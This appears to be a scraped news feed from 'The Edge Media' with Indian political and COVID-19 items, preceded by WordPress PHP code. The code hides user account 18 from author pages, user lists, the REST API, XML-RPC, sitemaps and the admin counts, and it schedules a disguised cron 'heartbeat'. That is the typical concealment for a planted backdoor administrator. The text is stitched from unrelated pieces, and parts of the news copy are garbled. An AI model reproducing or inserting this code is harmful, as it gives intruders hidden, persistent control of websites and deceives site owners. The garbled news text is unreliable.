add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post TMC MP said that the West Bengal governor is a bloodsucker and is roaming around like a mad dog. appeared first on The Edge Media.
]]>Mr. Banerjee told the mediapersons,”Governor has vindictively done this without consultation of the state government. Governor has become a bloodsucker. He is now trying to secure a ticket before 2024 elections from the BJP. Because of this he is doing whatever he pleases against TMC. That governor is whimsical, and a blood sucker. He should not stay here even for a minute. He is roaming around here like a mad dog”.
The CBI arrested the TMC ministers Firhad Hakrim, Subrata Mukherjee, MLA Madan Mitra and former mayor of Kolkata Sovan Chatterjee in relation with the Narada sting operation
The post TMC MP said that the West Bengal governor is a bloodsucker and is roaming around like a mad dog. appeared first on The Edge Media.
]]>The post Supreme court has asked the central government to plan on 4 issues appeared first on The Edge Media.
]]>
A three-judge bench headed by CJI SA Bobde said on Thursday, ‘We are seeing that the hearing is going on in 6 different high courts – Delhi, Bombay, Sikkim, Madhya Pradesh, Calcutta and Allahabad High Court – on issues like corona and oxygen at the moment.
Has been This may cause confusions. ‘ The bench asked Solicitor General Tushar Mehta, appearing on behalf of the central government, to state a national plan on the issue.
Supreme Court is looking into 4 issues The Chief Justice said that the Supreme Court is looking into 4 issues – supply of oxygen, supply of essential medicines, mode of vaccination and states’ right to impose lockdown.
The court said that we want the right of lockdown to be with the states, it should not be a judicial decision. Nevertheless, we shall consider the judicial rights of the High Court to impose lockdown.
Meanwhile, the Delhi High Court has also instructed the government that the Center should strictly follow its orders.
Even if the earth and sky have to be united. High courts of 4 states have already reprimanded the government for lack of oxygen and essential medicines in hospitals.
Lack of oxygen has become a major challenge amid the second wave of corona in the country. The situation in Delhi is very bad.
The director (medical) of Delhi’s Sir Gangaram Hospital said at around 8.30 am on Friday that 25 patients had died in the last 24 hours. He warns that oxygen will run out in the next 2 hours.
The ventilator and bypass are also not working properly. In such a situation, there is an urgent need to airlift oxygen. Because the lives of 60 more patients are in danger. After this, the oxygen tanker reached the hospital at around 9.45 am.
The post Supreme court has asked the central government to plan on 4 issues appeared first on The Edge Media.
]]>The post UP government will impose complete lockdown in five cities appeared first on The Edge Media.
]]>The government spokesperson has said that the government has taken many steps, strict steps are also being taken. The livelihood of the poor is also to be saved, so the entire lockdown will not be imposed in the cities.
Please tell that the Allahabad High Court has ordered complete lock down till April 26 in the five most corona affected cities of Uttar Pradesh.
The court has also asked the state government to consider a 15-day lockdown in the entire state. Complete lockdown has been ordered in Lucknow, Prayagraj, Gorakhpur, Kanpur and Varanasi.
The order has been issued after hearing the public interest litigation on covid. The next hearing of the case will be held on April 26 at 11 am. The Division Bench of Justice Siddharth Verma and Justice Ajit Kumar has given the order.
There have been 28,287 new covid cases in Uttar Pradesh in the last 24 hours. The number of active cases in the state is 2,08,000. So far, 6,61,311 people have been recovered: Uttar Pradesh Additional Chief Secretary Information Navneet Sehgal has given this information.
He told that “2,00,751 samples were examined in the state yesterday. Out of which around 1 lakh samples are from RT-PCR. So far, more than 3,84,00,000 samples have been investigated in the state.
The post UP government will impose complete lockdown in five cities appeared first on The Edge Media.
]]>The post PM Modi says people have decided to form NDA government in Assam appeared first on The Edge Media.
]]>“We work for everyone without discrimination but some people divide the country by vote bank, which is unfortunately called secularism. But if we work for everyone, it’s called communal. Games of secularism, communalism have caused great damage to the country,” he added.
During his address, the Prime Minister also stopped his speech midway and brought everyone’s attention to an elderly BJP worker in the rally who was apparently dehydrated. He promptly directed the team of PMO doctors to give immediate assistance to the worker.
“PMO medical team, please go and see the worker who is facing issues due to dehydration. Please help him immediately the doctors who have come with me,” he said.
Later, the Bharatiya Janata Party (BJP) informed on their Twitter handle that the person was attended and he is stable now.
“The election is still going on. I heard yesterday that some people have assumed that they have lost the election and how the next government will be formed, what the people of the government must have worn. There cannot be a bigger insult to Assam, the excitement of capturing Assam after five years from now is shocking,” the Prime Minister further said during his address.
“The Congress government in its time gave Assam a long period of violence, bomb, and gun. At the same time, the NDA government is moving forward on the path of peace and prosperity with every partner of Assam,” he added.
The post PM Modi says people have decided to form NDA government in Assam appeared first on The Edge Media.
]]>The post Government aiming to build e-highway on Delhi-Mumbai Expressway: Gadkari appeared first on The Edge Media.
]]>Gadkari said Siemens has used this technology and built a similar road in Germany.
“Buses and trucks can ply on this e-highway at a speed of 120 kmph and will bring down the logistics cost by 70 percent,” he added.
Replying to another question, the minister said Rs 60,000 crore has been spent on constructing roads like Dwarka Expressway, the eastern and the western express bypass which will reduce air pollution in Delhi.
The post Government aiming to build e-highway on Delhi-Mumbai Expressway: Gadkari appeared first on The Edge Media.
]]>The post Ram Temple Trust Chief Tested Positive For Corona Virus appeared first on The Edge Media.
]]>
Das was among the five people on the stage at the grand ceremony at Ayodhya in Uttar Pradesh on August 5. The others on the stage were Uttar Pradesh Chief Minister Yogi Adityanath, Governor Anandiben Patel and Mohan Bhagwat, chief of the Rashtriya Swayamsevak Sangh.
The post Ram Temple Trust Chief Tested Positive For Corona Virus appeared first on The Edge Media.
]]>